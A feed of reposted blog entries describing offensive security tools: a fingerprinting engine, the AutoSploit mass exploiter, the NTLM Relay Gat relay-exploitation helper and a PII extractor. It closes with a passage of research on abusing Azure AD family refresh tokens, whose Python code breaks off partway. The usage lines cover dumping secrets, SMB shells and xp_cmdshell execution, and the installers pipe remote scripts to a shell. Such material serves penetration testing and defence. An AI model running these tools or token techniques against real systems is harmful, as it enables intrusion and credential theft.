Scannerl is a modular, distributed fingerprinting engine implemented in Erlang. It can scan very large number of targets on a single host, but also can be distributed across multiple hosts. This tool is tested on Linux (Ubuntu, Debian, Arch & Kali Linux), but should work on other Linux distros, too.

Scannerl: Modular Distributed Fingerprinting Engine

Scannerl is an open source distributed fingerprinting tool developed by Kudelski Security. There are other fingerprinting tools, but those tools come with different limitations/problems such as: scanning on a few hosts at the time (not suitable for large IP addresses ranges); higher probability of being blacklisted, if large IP addresses range is protected by IPS devices (incomplete information). Scannerl successfully fights these limitations, therefore you can fingerprint multiple hosts simultaneously.

What is ZMap to port scanning, Scannerl is to fingerprinting. So, if you are planning large-scale fingerprinting sessions, this tool is the right choice. You can use it on a single host, but you can also easily distribute work over several machines.

Features:

• Fast: With Scannerl you can spread the tasks across multiple hosts and increase the overall performance. Other fingerprinting tools are limited by the available resources of the host they run on (network card, CPU, RAM, network bandwidth, etc.). Cluster of virtual servers will be enough to perform large-scale scans, there is no need for high-end server.
• Distributed:  Master/Slave architecture enables workload across different hosts. Process is easy and transparent, you’ll only need to provide the hosts to use.
• Scalable: Thanks to Erlang’s small sized processes, the tool can execute a large number of tasks in parallel, on the same host. Since Scannerl has ability to distribute the work across different hosts, we can say that it’s high-functioning and easily scalable tool.
• Modular: You can easily add custom modules in order to fingerprint specific protocols and services in a few lines of code. In addition, it’s possible to add output modules to insert any results directly into a database technology of your choice.
• Stealth: Reduced chance of being blocked. When using a single host to fingerprint a large number of IPs, there are high possabilites that ISPs/Firewalls might block your probes. But with Scannerl you can distribute your scan among several IP addresses and reduce the chance to be blocked.
• Smart: Scannerl can retrieve specific information from a fingerprint session (a field in the header, the version, etc.).

Requirements:

• Erlang v18+

Modules

This fingerprinting tool is very modular, therefore it’s easy to add new modules at compile time or dynamically (external file). Available modules:

Install

To build from source and to use Scannerl, first you need to install Erlang/OTP:

• Debian

$ sudo apt install erlang erlang-src rebar

• Arch

$ sudo pacman -S erlang-nox rebar

Then clone Scannerl from the github repo, and build:

$ git clone https://github.com/kudelskisecurity/scannerl.git
$ cd scannerl
$ ./build.sh

• Kali

First install dependencies:

$ sudo apt install libssl-dev automake autoconf libncurses5-dev

Then install rebar (Erlang build tool for compiling and testing Erlang applications):

$ cd /tmp
$ git clone git://github.com/rebar/rebar.git; cd rebar
$ ./bootstrap
$ sudo cp rebar /usr/local/bin/rebar

Install kerl and Erlang/OTP 20.1

$ cd /tmp
$ curl -O https://raw.githubusercontent.com/kerl/kerl/master/kerl
$ chmod +x kerl
$ sudo cp kerl /usr/local/bin/kerl
$ kerl build 20.1 20.1
$ sudo mkdir /opt/kerl; sudo chown -R $USER /opt/kerl
$ kerl install 20.1 /opt/kerl/20.1

Then you’ll be able to build Scannerl:

$ source /opt/kerl/20.1/activate
$ git clone https://github.com/kudelskisecurity/scannerl.git
$ cd scannerl
$ ./build.sh

Basic Usage

$ ./scannerl -h
   ____   ____    _    _   _ _   _ _____ ____  _
  / ___| / ___|  / \  | \ | | \ | | ____|  _ \| |
  \___ \| |     / _ \ |  \| |  \| |  _| | |_) | |
   ___) | |___ / ___ \| |\  | |\  | |___|  _ <| |___
  |____/ \____/_/   \_\_| \_|_| \_|_____|_| \_\_____|

USAGE
  scannerl MODULE TARGETS [NODES] [OPTIONS]

  MODULE:
    -m <mod> --module <mod>
      mod: the fingerprinting module to use.
           arguments are separated with a colon.

  TARGETS:
    -f <target> --target <target>
      target: a list of target separated by a comma.
    -F <path> --target-file <path>
      path: the path of the file containing one target per line.
    -d <domain> --domain <domain>
      domain: a list of domains separated by a comma.
    -D <path> --domain-file <path>
      path: the path of the file containing one domain per line.

  NODES:
    -s <node> --slave <node>
      node: a list of node (hostnames not IPs) separated by a comma.
    -S <path> --slave-file <path>
      path: the path of the file containing one node per line.
            a node can also be supplied with a multiplier (<node>*<nb>).

  OPTIONS:
    -o <mod> --output <mod>     comma separated list of output module(s) to use.
    -p <port> --port <port>     the port to fingerprint.
    -t <sec> --timeout <sec>    the fingerprinting process timeout.
    -T <sec> --stimeout <sec>   slave connection timeout (default: 10).
    -j <nb> --max-pkt <nb>      max pkt to receive (int or "infinity").
    -r <nb> --retry <nb>        retry counter (default: 0).
    -c <cidr> --prefix <cidr>   sub-divide range with prefix > cidr (default: 24).
    -M <port> --message <port>  port to listen for message (default: 57005).
    -P <nb> --process <nb>      max simultaneous process per node (default: 28232).
    -Q <nb> --queue <nb>        max nb unprocessed results in queue (default: infinity).
    -C <path> --config <path>   read arguments from file, one per line.
    -O <mode> --outmode <mode>  0: on Master, 1: on slave, >1: on broker (default: 0).
    -v <val> --verbose <val>    be verbose (0 <= int <= 255).
    -K <opt> --socket <opt>     comma separated socket option (key[:value]).
    -l --list-modules           list available fp/out modules.
    -V --list-debug             list available debug options.
    -A --print-args             Output the args record.
    -X --priv-ports             use only source port between 1 and 1024.
    -N --nosafe                 keep going even if some slaves fail to start.
    -w --www                    DNS will try for www.<domain>.
    -b --progress               show progress.
    -x --dryrun                 dry run.

Distributed scan [setup & usage]

In order to perform distributed scan, you’ll need:

• Master node: to run Scannerl’s binary (needs installed Scannerl)
• Slave node(s): to connect Scannerl (need installed Erlang)

Requirements – all hosts:

• have the same version of Erlang installed
• are able to connect to each other using SSH public key
• names resolve (use /etc/hosts if no proper DNS is setup)
• have the same Erlang security cookie
• must allow connection to Erlang EPMD port (TCP/4369)
• have the following range of ports opened: TCP/11100 to TCP/11100 + number-of-slaves

To use, provide a list of slaves – example ( -s or -S switches):

$ ./scannerl -m httpbg -d example.com -s host1,host2,host3

$ ./scannerl -l

Standalone usage

You can use Scannerl on the local host without any other host, but the slave will be created anyway. So, you’ll need to fulfill same requirements described above. Make sure your host is able to resolve itself with the following:

$ grep -q "127.0.1.1\s*`hostname`" /etc/hosts || echo "127.0.1.1 `hostname`" | sudo tee -a /etc/hosts

Then create SSH key and add it to the authorized_keys. It’s assumed that you have SSH server running:

$ cat $HOME/.ssh/id_rsa.pub >> $HOME/.ssh/authorized_keys

Standalone scan example:

$ ./scannerl -m httpbg -d example.com

Documentation
Download

The post Modular Distributed Fingerprinting Engine – Scannerl appeared first on Tech Chronicles.

Autosploit: Advanced Remote Host Mass Exploitation

With this tool, you can easily launch an attack on a remote host within a fairly short time. This is made possible due to the availability of Shodan, a powerful search engine that allows you to automatically fish out targets that are connected to a particular network service. Alternatively, you can also use target seeking tools such as Zoomeye and Censys to search out intended targets.

Apart from the automated host searching and collection, AutoSploit also gives you the option of creating your own customized target list. With this option in place, you can effectively launch attack-intended searches on hosts of your choice by manually adding them to your list.

Metasploit Modules and How They Work Together

AutoSploit Features:

• Automated Target Collection
• Customized Target List (allows you to add your own list of targets)
• Metasploit Modules
• Custom user-agent
• Mass exploitations

Supported Platforms:

• Linux
• OS X (must be within virtual environments to properly function)

Dependencies:

This tool relies on the below Python 2.7 modules:

• requests
• psutil

The required dependencies should all be in place after performing an installation with the recommended method, but you can easily install them using pip:

$ pip install -r requirements.txt

Alternatively:

$ pip install requests psutil

Autosploit Install

Install AutoSploit via Docker Compose:

Clone the repo:

$ git clone https://github.com/NullArray/AutoSploit.git

Navigate to the Autosploit directory and run:

$ cd Autosploit/Docker
$ docker-compose run --rm autosploit

Install AutoSploit on Linux (via cloning)

Clone:

$ git clone https://github.com/NullArray/AutoSploit

Navigate to the AutoSploit directory, make the install script executable and install:

$ cd AutoSploit
$ chmod +x install.sh
$ ./install.sh

Usage

To start AutoSploit run:

$ python autosploit.py

This will take you to the available user options that you can choose from.

usage: python autosploit.py -[c|z|s|a] -[q] QUERY
                            [-C] WORKSPACE LHOST LPORT [-e] [--whitewash] PATH
                            [--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH
                            [--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT

optional arguments:
  -h, --help            show this help message and exit

search engines:
  possible search engines to use

  -c, --censys          use censys.io as the search engine to gather hosts
  -z, --zoomeye         use zoomeye.org as the search engine to gather hosts
  -s, --shodan          use shodan.io as the search engine to gather hosts
  -a, --all             search all available search engines to gather hosts

requests:
  arguments to edit your requests

  --proxy PROTO://IP:PORT
                        run behind a proxy while performing the searches
  --random-agent        use a random HTTP User-Agent header
  -P USER-AGENT, --personal-agent USER-AGENT
                        pass a personal User-Agent to use for HTTP requests
  -q QUERY, --query QUERY
                        pass your search query

exploits:
  arguments to edit your exploits

  -E PATH, --exploit-file PATH
                        provide a text file to convert into JSON and save for
                        later use
  -C WORKSPACE LHOST LPORT, --config WORKSPACE LHOST LPORT
                        set the configuration for MSF (IE -C default 127.0.0.1
                        8080)
  -e, --exploit         start exploiting the already gathered hosts

misc arguments:
  arguments that don't fit anywhere else

  --ruby-exec           if you need to run the Ruby executable with MSF use
                        this
  --msf-path MSF-PATH   pass the path to your framework if it is not in your
                        ENV PATH
  --whitelist PATH      only exploit hosts listed in the whitelist file

The post AutoSploit: Automated Mass Exploiter appeared first on Tech Chronicles.

hardCIDR

A Linux Bash script to discover the netblocks, or ranges, (in CIDR notation) owned by the target organization during the intelligence gathering phase of a penetration test. This information is maintained by the five Regional Internet Registries (RIRs):

ARIN (North America)
RIPE (Europe/Asia/Middle East)
APNIC (Asia/Pacific)
LACNIC (Latin America)
AfriNIC (Africa)

In addition to netblocks and IP addresses, Autonomous System Numbers (ASNs) are also of interest. ASNs are used as part of the Border Gateway Protocol (BGP) for uniquely identifying each network on the Internet. Target organizations may have their own ASNs due to the size of their network or as a result of redundant service paths from peered service providers. These ASNs will reveal additional netblocks owned by the organization.

ipcalc (for RIPE, APNIC, LACNIC, AfriNIC queries)

A note on LACNIC before diving into the usage. LACNIC only allows query of either network range, ASN, Org Handle, or PoC Handle. This does not help us in locating these values based upon the organization name. They do however publish a list of all assigned ranges on a publically accessible FTP server, along with their rate-limiting thresholds. So, there is an accompanying data file, which the script checks for, used to perform LACNIC queries locally. The script includes an update option -r, that can be used to update this data on an interval of your choosing. Approximate run time is just shy of 28 hours.

The script with no specified options will query ARIN and a pool of BGP route servers. The route server is selected at random at runtime. The -h option lists the help:

The options may be used in any combination, all, or none. Unfortunately, none of the “other” RIRs note the actual CIDR notation of the range, so ipcalc is used to perform this function. If it is not installed on your system, the script will install it for you.

At the prompts, enter the organization name, the email domain, and whether country codes are used as part of the email. If answered Y to country codes, you will be prompted as to whether they precede the domain name or are appended to the TLD. A directory will be created for the output files in /tmp/. If the directory is found to exist, you will be prompted whether to overwrite. If answered N, a time stamp will be appended to the directory name.

The script queries each RIR, as well as a BGP route server, prompting along the way as to whether records were located. Upon completion, three files will be generated: a CSV based on Org Handle, a CSV based on PoC Handle, and a line delimited file of all located raanges in CIDR notation.

Cancelling the script at any time will remove any temporary working files and the directory created for the resultant output files.

It should be noted that, due to similarity in some organization names, you could get back results not related to the target. The CSV files will provide the associated handles and URLs for further validation where necessary. It is also possible that employees of the target organization used their corporate email address to register their own domains. These will be found within the results as well.

docker build -t hardcidr .

Building the hardcidr image

docker run -v $(pwd):/tmp -it hardcidr

Running the container. Output will be saved to current directory

The post HardCIDR – Network CIDR and Range Discovery Tool appeared first on Tech Chronicles.

• Supports Windows, Linux and MacOS
• Support recursive file analysis within directories
• Plugin Support
• CSV Output

DataSurgeon – Extract Sensitive Information (PII) From Logs Features

DataSurgeon is able to extract:

• Emails
• Files
• Phone numbers
• Credit Cards
• Google API Private Key ID’s
• Social Security Numbers
• AWS Keys
• Bitcoin wallets
• URL’s
• IPv4 Addresses and IPv6 addresses
• MAC Addresses
• SRV DNS Records
• Extract Hashes
  • MD4 & MD5
  • SHA-1, SHA-224, SHA-256, SHA-384, SHA-512
  • SHA-3 224, SHA-3 256, SHA-3 384, SHA-3 512
  • MySQL 323, MySQL 41
  • NTLM
  • bcrypt

To learn how to manage plugins please follow the guide here.

• Emails
• Phone numbers
• Social Security Numbers

• Credit Cards
• Bitcoin wallets

• URL’s
• IPv4 Addresses and IPv6 addresses
• MAC Addresses
• SRV DNS Records

• Google API Private Key ID’s
• AWS Keys
• CVE Numbers (PLUGIN)

• Files
• Windows Registries (PLUGIN)

• MD4 & MD5
• SHA-1, SHA-224, SHA-256, SHA-384, SHA-512
• SHA-3 224, SHA-3 256, SHA-3 384, SHA-3 512
• MySQL 323, MySQL 41
• NTLM
• bcrypt

The quick installer can also be used to update DataSurgeon.

Install Rust and Github then RESTART YOUR TERMINAL.

read -p "Would you like to add 'ds' to your local bin? This will make 'ds' executable from any location in your terminal. (y/n) " response && wget -q -O - https://raw.githubusercontent.com/Drew-Alleman/DataSurgeon/main/install/install.sh | bash -s -- "$response"

Enter the line below in an elevated powershell window.

IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Drew-Alleman/DataSurgeon/main/install/install.ps1")

Relaunch your terminal and you will be able to use ds from the command line.

curl --proto '=https' --tlsv1.2 -sSf https://raw.githubusercontent.com/Drew-Alleman/DataSurgeon/main/install/install.sh | sh

Here I use wget to make a request to stackoverflow then I forward the body text to ds . The -F option will list all files found. --clean is used to remove any extra text that might have been returned (such as extra html). Then the result of is sent to uniq which removes any non unique files found. Ig you wanted you can remove the warning message at the top ‘Reading standard input..’ by using -S.

$ wget -qO - https://www.stackoverflow.com | ds -F --clean | uniq

Here I am pulling all mac addresses found in autodeauth’s log file using the -m query. The --hide option will hide the identifer string infront of the results. In this case ‘mac_address: ‘ is hidden from the output. The -T option is used to check the same line multiple times for matches. Normallly when a match is found the tool moves on to the next line rather then checking again.

$ ./ds -m -T --hide -f /var/log/autodeauth/log     
2023-02-26 00:28:19 - Sending 500 deauth frames to network: BC:2E:48:E5:DE:FF -- PrivateNetwork
2023-02-26 00:35:22 - Sending 500 deauth frames to network: 90:58:51:1C:C9:E1 -- TestNet

You can use the --directory option to read all files in the specified directory recursively. The -D option is used to display the filename where the match was found. -l or --line is used to display the line number the content was found on.

$ ds --directory test_dir/ -Dl

To output your results to a CSV file, use the -o option followed by the name of the file you want to save your data to. The -D and -X are supported. The format is: ds -o <FILENAME>.csv (.csv is needed).

 $ wget -qO - https://www.stackoverflow.com | ds -o output.csv -C

When no specific query is provided, ds will search through all possible types of data, which is SIGNIFICANTLY slower than using individual queries. The slowest query is --files. Its also slightly faster to use cat to pipe the data to ds.

Below is the elapsed time when processing a 5GB test file generated by ds-test. Each test was ran 3 times and the average time was recorded.

Processor	Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2904 Mhz, 6 Core(s), 12 Logical Processor(s)
Ram         12.0 GB (11.9 GB usable)

The post DataSurgeon – Extract Sensitive Information (PII) From Logs appeared first on Tech Chronicles.

Screenshots

Features

Comprehensive Nmap XML Parsing

• Multiple File Support: Parse and analyze two Nmap XML output files.
• Structured Data: Converts Nmap’s XML output into a structured format for further processing.

Comparative Analysis

• Change Detection: Compare results from two Nmap scans to identify new, altered, or removed services and ports. Useful for when you scan the same IPs from different source IPs or over time.
• Excel Reporting: Automatically generates detailed Excel spreadsheets with the comparison results and some stats.

Statistical Overview And Visualization

• Network Exposure Statistics: Offers statistical analysis on detected services and open ports.
• Excel Visualizations: Includes pie charts in Excel reports for a graphical representation of the network’s security posture.

AI-Powered Insights With GPT

• GPT Report Generation: Uses OpenAI’s GPT to generate insightful analysis reports based on Nmap result stats. The tool uses a hardcoded prompt that sets the tone and requirements, then the script inserts the stats (no identifying information is provided) and if -c –context has been provided, it’ll add the context to the bottom of the prompt.
• Customizable Context: Enhance GPT analysis by providing additional context, tailoring the report to specific needs.

Usage

The script prints the help page if no args are passed, or you can access with python nmap-analysis.py -h

• Comparing Nmap Scans:

python nmap-analysis.py compare -ff (--first-nmap-file) path/to/first.xml -lf (--last-nmap-file) path/to/second.xml

• Generating a GPT Report:

python nmap-analysis.py gpt-report -gf (--gpt-nmap-file) path/to/nmap.xml -c (--context) "Your optional context here"

Installation and Setup

Prerequisites

• 3.10+ probably (created using 3.12)
• An OpenAI API key for GPT report generation that is set in local env

Secure Installation with venv

1. Clone the Repository:

git clone https://github.com/FlyingPhish/Nmap-Analysis
cd nmap-analysis-tool

2. Create a Virtual Environment:

python3 -m venv venv

3. Activate the Virtual Environment:

• On Windows:

.\venv\Scripts\activate

The post Nmap Analysis Tool – Enhancing Network Security Through Advanced Analysis And Reporting appeared first on Tech Chronicles.

Designed for both novices and experienced cybersecurity professionals, this tool streamlines the process of identifying and exploiting weaknesses in network security.

With its user-friendly interface and powerful features, NTLM Relay Gat serves as a critical asset in the toolkit of ethical hackers and penetration testers aiming to enhance their network defense strategies.

Description

NTLM Relay Gat is a powerful tool designed to automate the exploitation of NTLM relays using ntlmrelayx.py from the Impacket tool suite. By leveraging the capabilities of ntlmrelayx.py, NTLM Relay Gat streamlines the process of exploiting NTLM relay vulnerabilities, offering a range of functionalities from listing SMB shares to executing commands on MSSQL databases.

Features

• Multi-threading Support: Utilize multiple threads to perform actions concurrently.
• SMB Shares Enumeration: List available SMB shares.
• SMB Shell Execution: Execute a shell via SMB.
• Secrets Dumping: Dump secrets from the target.
• MSSQL Database Enumeration: List available MSSQL databases.
• MSSQL Command Execution: Execute operating system commands via xp_cmdshell or start SQL Server Agent jobs.

Prerequisites

Before you begin, ensure you have met the following requirements:

• proxychains properly configured with ntlmrelayx SOCKS relay port
• Python 3.6+

Installation

To install NTLM Relay Gat, follow these steps:

1. Ensure that Python 3.6 or higher is installed on your system.
2. Clone NTLM Relay Gat repository:

git clone https://github.com/ad0nis/ntlm_relay_gat.git
cd ntlm_relay_gat

Install dependencies, if you don’t have them installed already:

pip install -r requirements.txt

NTLM Relay Gat is now installed and ready to use.

Usage

To use NTLM Relay Gat, make sure you’ve got relayed sessions in ntlmrelayx.py‘s socks command output and that you have proxychains configured to use ntlmrelayx.py‘s proxy, and then execute the script with the desired options. Here are some examples of how to run NTLM Relay Gat:

# List available SMB shares using 10 threads
python ntlm_relay_gat.py --smb-shares -t 10

# Execute a shell via SMB
python ntlm_relay_gat.py --smb-shell --shell-path /path/to/shell

# Dump secrets from the target
python ntlm_relay_gat.py --dump-secrets

# List available MSSQL databases
python ntlm_relay_gat.py --mssql-dbs

# Execute an operating system command via xp_cmdshell
python ntlm_relay_gat.py --mssql-exec --mssql-method 1 --mssql-command 'whoami'

The post NTLM Relay Gat – Automating Exploitation Of NTLM Relay Vulnerabilities appeared first on Tech Chronicles.

Abusing Family Refresh Tokens for Unauthorized Access and Persistence in Azure Active Directory

• Ryan Marcotte Cobb, CTU Special Operations
• Tony Gore, CTU Special Operations

Undocumented functionality in Azure Active Directory allows a group of Microsoft OAuth client applications to obtain special “family refresh tokens,” which can be redeemed for bearer tokens as any other client in the family. We will discuss how this functionality was uncovered, the mechanism behind it, and various attack paths to obtain family refresh tokens. We will demonstrate how this functionality can be abused to access sensitive data. Lastly, we will share relevant information to mitigate the theft of family refresh tokens.

• 2022-03-23: Added 17 new FOCI family client apps to known-foci-clients.csv

• Part 1 – Azure Active Directory and OAuth 2.0
• Part 2 – Introducing Family of Client IDs & Family Refresh Tokens
• Part 3 – Attack Paths
• Part 4 – Mitigations against Family Refresh Tokens
• Conclusion

Azure Active Directory (Azure AD) is a cloud-based identity and access management (IAM) platform developed by Microsoft. Microsoft uses Azure AD as the IAM provider for its own cloud services, such as Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 and OpenID Connect (OIDC) standards as the foundation for its authorization and authentication functionality, respectively. OAuth 2.0 is an authorization framework that lets resource owners (usually end-users) delegate permissions to client applications to access web services on their behalf. The IETF standard for OAuth 2.0 was originally defined in RFC 6749. Additional technical specifications were later ratified to detail use-cases that were not addressed in RFC 6749. Even with active development on the OAuth 2.0 standard, Microsoft pushes the boundaries of its design to support the sheer scale and variety of services that rely on Azure AD.

This research focuses on the OAuth 2.0 implementation in Azure AD. We will highlight a few important differences between the implementation in Azure AD and the OAuth 2.0 specification. We will explore the security implications of these differences and demonstrate how an attacker can abuse Azure AD implementation quirks for privilege escalation and persistent access to Microsoft cloud resources. Lastly, we will share how we weaponized this undocumented feature for red team operations at Secureworks, as well as a few mitigations to protect your organization against it.

The OAuth 2.0 protocol typically involves four participants:

The resource server (RS) is a web service that protects information or capabilities belonging to a resource owner (RO). The resource owner usually represents an end-user. The resource server should only allow the authorized delegates of the resource owner to access the protected resources. The resource server may categorize different kinds of protected resources into scopes. Scopes are granular permissions on the resource server that the resource owner can delegate to client applications (CA).

The resource owner can allow client applications to have limited access to resource servers by explicitly granting consent to specific scopes. Both the resource server and the resource owner trust the authorization server (AS). The authorization server is responsible for keeping track of the scopes on the resource server that the resource owner granted to the client application.

Microsoft 365 is a suite of productivity software-as-a-service solutions, and it uses Azure AD as its IAM provider. Microsoft 365 apps are deeply integrated through a complex web of service dependencies between OAuth applications. Each solution is instantiated as one (or more) OAuth client applications, resource servers, or both in the Azure AD tenant. Many of these Microsoft “first-party” OAuth applications are automatically provisioned in tenant with each deployment of Microsoft 365.

To ensure these dependencies are met, many first-party applications are granted (what Microsoft describes as) “implied consent”, sometimes called “pre-consent” or “pre-authorization”. Microsoft wants to hide this complexity, so first-party client applications and their pre-consented scopes are invisible to users and administrators. Our research focused on these first-party client applications and the sensitive scopes that were “pre-authorized” for them on behalf of all users.

When the resource server receives a web request from a client application, it needs to confirm that the client application has consent and authorization by the resource owner to access the requested resources. As previously stated, the authorization server is responsible for keeping track of what the resource owner delegated to the client application. Therefore, the resource server needs some form of proof from the authorization server that the client application is authorized for what it is requesting.

The OAuth 2.0 specifications define a variety of protocols – called grant flows – involving an authorization server, client application, and (usually) the resource owner. All grant flows result in the authorization server issuing temporary credentials – called bearer tokens – to the client application that will grant access when presented to the resource server. All bearer tokens are issued to the client application by the authorization server.

Here is a simplified diagram of the authentication code grant flow:

Although technically outside of the OAuth 2.0 spec, authorization grant flows typically involve an authentication step (defined in a different protocol, such as OpenID Connect) wherein the resource owner proves their identity to the authentication server. Proof of identity usually requires a password or certificate in addition to other authentication challenges, like multi-factor authentication.

Some grant flows require proof of identity for the user, while others require proof of identity for the application itself. Client applications that have their own passwords or certificates are called “confidential” clients, while clients that do not need their own proof of identity are called “public” clients. It is important to note that an attacker can masquerade as the public client application when requesting tokens from the authorization server. Since public clients do not have their own credentials, the authentication server has no way to prove that the authorization grant originates from the legitimate application.

The examples in this notebook require the msal and pyjwt packages. If not already installed, we can pip install them in the current kernel by uncommenting and running the cell below. After the packages have been installed, we need to restart your kernel before proceeding with the rest of the notebook.

#!pip install -r requirements.txt

import msal
import requests
import jwt
import pandas as pd
pd.options.display.max_rows = 999

from pprint import pprint
from typing import Any, Dict, List

Let’s authorize a Microsoft public client application using Python. In this example, we will complete an device authorization grant flow as the Azure CLI public client application (Client ID: 04b07795-8ddb-461a-bbee-02f9e1bf7b46). Since the Azure CLI is a public client, it does not have its own secrets and Azure AD cannot verify whether the authorization request originates from the legitimate commandline tool or an attacker. We will request bearer tokens authorized for the .default scope on the modern Microsoft Graph. Note that msal automatically adds the offline_access, profile, and openid scopes to the request. The scope offline_access instructs the Azure AD to return a refresh token in addition to an access token and ID token. We will look closer at these tokens shortly.

azure_cli_client = msal.PublicClientApplication(
    "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
)

device_flow = azure_cli_client.initiate_device_flow(
    scopes=["https://graph.microsoft.com/.default"]
)

print(device_flow["message"])

After the resource owner authenticates and authorizes the grant flow, the client application can acquire bearer tokens from the authorization server.

azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
    device_flow
)

pprint(azure_cli_bearer_tokens_for_graph_api)

We should now have a set of bearer tokens for the Azure CLI client application.

Bearer tokens get their name because “any party in possession of the token (a “bearer”) can use the token in any way that any other party in possession of it can use.” Bearer tokens expire over time, after which the client application will need a new authorization from the resource owner. The standard representation for bearer tokens are JSON Web Tokens (JWT). Azure AD uses three types of bearer tokens: ID tokens, access tokens, and refresh tokens:

ID tokens contain information about the resource owner, such as their friendly name, user principal name, and location. ID tokens are defined in the OIDC standard and are outside of the scope of this research. We will instead focus on the other two types of tokens.

Access tokens are the credentials used to access protected resources. Client applications must pass an access token with each web request to the resource server. Access tokens represent specific scopes and durations of access that the resource owner authorized for the client application. Note that access tokens contain claims with information about:

• the provenance of the token (iss)
• the resource owner and client application (oid/upn, appid)
• the authorized scopes (scp)
• the issuance and expiration times (iat, exp)
• the resource server (aud)
• the authentication methods that the resource owner used to authorize the client application (amr)
• and much more

Let’s take a closer look at the access token we acquired in the previous example. We will use pyjwt to decode the JSON blob and inspect its contents:

def decode_jwt(base64_blob: str) -> Dict[str, Any]:
    """Decodes base64 encoded JWT blob"""
    return jwt.decode(
        base64_blob, options={"verify_signature": False, "verify_aud": False}
    )


decoded_access_token = decode_jwt(
    azure_cli_bearer_tokens_for_graph_api.get("access_token")
)

pprint(decoded_access_token)

We can pass the access token in the header of a web request to access the Microsoft Graph as the resource owner. The Graph endpoint /me/oauth2PermissionGrants returns a list of OAuth 2.0 permission grants, which represent consent granted by the user to client applications for specific scopes. The same approach can be used to call any other Graph endpoint – so long as the access token contains the necessary scopes. In the case of /me/oauth2PermissionGrants, access tokens must have a scope containing Directory.Read.All, DelegatedPermissionGrant.ReadWrite.All, Directory.ReadWriteAll, or Directory.AccessAsUser.All to call this API endpoint.

def check_my_oauth2PermissionGrants(access_token: str) -> Dict[str, Any]:
    """Lists OAuth2PermissionGrants for the authorized user."""
    url = "https://graph.microsoft.com/beta/me/oauth2PermissionGrants"
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {access_token}",
    }
    return requests.get(url, headers=headers).json()


check_my_oauth2PermissionGrants(
    azure_cli_bearer_tokens_for_graph_api.get("access_token")
)

Note that the Azure CLI client application does not appear in the list of permission grants because it has been “pre-authorized” by Microsoft. There are many of these first-party client applications in an Azure AD tenant by default.

Access tokens expire after a short period of time, usually one hour. Once an access token has expired, the client application will need to obtain a new access token to continue accessing protected resources. The client application can either request authorization from the resource owner again or use a refresh token to obtain new access tokens based on the prior authorization.

Refresh tokens are a special type of bearer token representing the authorization granted by the resource owner to the client application. Client applications can redeem refresh tokens with the authorization server to obtain a new set of bearer tokens (including another refresh token) after the originally issued access token has expired and without requiring new authorization from the resource owner. Refresh tokens are much longer-lived than access tokens; most refresh tokens issued by Azure AD are valid for 90 days. The refresh tokens contain an opaque blob that is encrypted by the authorization server. As such the exact content of refresh tokens is unknown.

Here is a textbook example of a refresh token grant. We are redeeming the previously obtained refresh token for new bearer tokens bound to the same client and scopes as the original authorization:

new_azure_cli_bearer_tokens_for_graph_api = (

    # Same client as original authorization
    azure_cli_client.acquire_token_by_refresh_token( 
        azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),

        # Same scopes as original authorization
        scopes=["https://graph.microsoft.com/.default"], 
    )
)

pprint(new_azure_cli_bearer_tokens_for_graph_api)

Because refresh tokens are long-lived credentials, they are attractive targets for malicious actors. “If an attacker is able to exfiltrate and successfully replay a refresh token, the attacker will be able to mint access tokens and use them to access resource servers on behalf of the resource owner.” The IETF threat model for OAuth 2.0 elucidates the various ways an attacker could obtain refresh tokens.

The OAuth 2.0 specifications include safeguards to mitigate the potential risk from refresh token theft:

• Safeguard #1: Same Scopes – Refresh tokens should only be able “to obtain access tokens with identical or narrower scope” as the original authorization. The most recent guidance from the IETF OAuth working group explains that “refresh tokens MUST be bound to the scope and resource servers as consented by the resource owner… to prevent privilege escalation by the legitimate client and reduce the impact of refresh token leakage.” And if the authorization server issues a new refresh token during a refresh token grant, “the refresh token scope MUST be identical to that of the refresh token included by the client in the request.”

• Safeguard #2: Same Client – Furthermore, refresh tokens are “bound to the client to which it was issued” and the authorization server is responsible for maintaining this binding. The IETF threat model for OAuth2.0 clarifies that the refresh token should be bound to the original client identifier, which the authorization server should validate with each attempt to refresh tokens.

In other words, the level of access provided by a refresh token should reflect what the resource owner originally authorized: for the same scopes, on the same resource server, and as the same client application.

Microsoft has a history of bending these rules with the legacy Azure AD feature called “multi-resource refresh tokens” (MRRTs). MRRTs effectively ignored the first safeguard for refresh tokens (limit access to the previously authorized scopes). Instead, MRRTs acted as “the OAuth2 equivalent of ticket granting tickets (TGTs) in Kerberos; they are artifacts that allow a user to obtain tokens to access resources the directory decides she or he has access to.” (Modern Authentication with Azure Active Directory for Web Applications. Bertocci, Vittorio. 2019. Page 242-243) MRRTs remained bound to the same user and client application, but Azure AD would redeem MRRTs for new bearer tokens scoped to any resources for which the client had been granted consent. Furthermore, MRRTs were not scoped by tenant. Client applications could “use MRRTs to ask for access tokens from any tenant in which the user has a guest account and has already granted consent for the client app originally used to obtain the first refresh token.” [ibid.]

MRRTs are no longer an optional feature; all Azure AD refresh tokens exhibit this behavior today. Microsoft documentation clearly states “Refresh tokens are bound to a combination of user and client, but aren’t tied to a resource or tenant… a client can use a refresh token to acquire access tokens across any combination of resource and tenant where it has permission to do so.”

Here is a demonstration of a refresh token grant, but requesting different scopes than the original authorization. Note the content of the access token and how it differs from the previous examples.

azure_cli_bearer_tokens_for_outlook_api = (

    # Same client as original authorization
    azure_cli_client.acquire_token_by_refresh_token( 
        new_azure_cli_bearer_tokens_for_graph_api.get(
            "refresh_token" 
        ),
        
        # But different scopes than original authorization
        scopes=[
            "https://outlook.office.com/.default" 
        ],  
    )
)

pprint(azure_cli_bearer_tokens_for_outlook_api)

Recent open-source projects (TokenTactics and AADInternals) showed, however, that it is also possible to redeem a refresh token issued to some first-party Microsoft client applications for new bearer tokens issued to a different first-party client application. This is unexpected behavior given refresh tokens safeguard #2 outlined above.

To demonstrate the undocumented behavior, let’s redeem the refresh token acquired from the previous steps to acquire new bearer tokens as a different Microsoft client application.

microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")

microsoft_office_bearer_tokens_for_graph_api = (
    # This is a different client application than we used in the previous examples
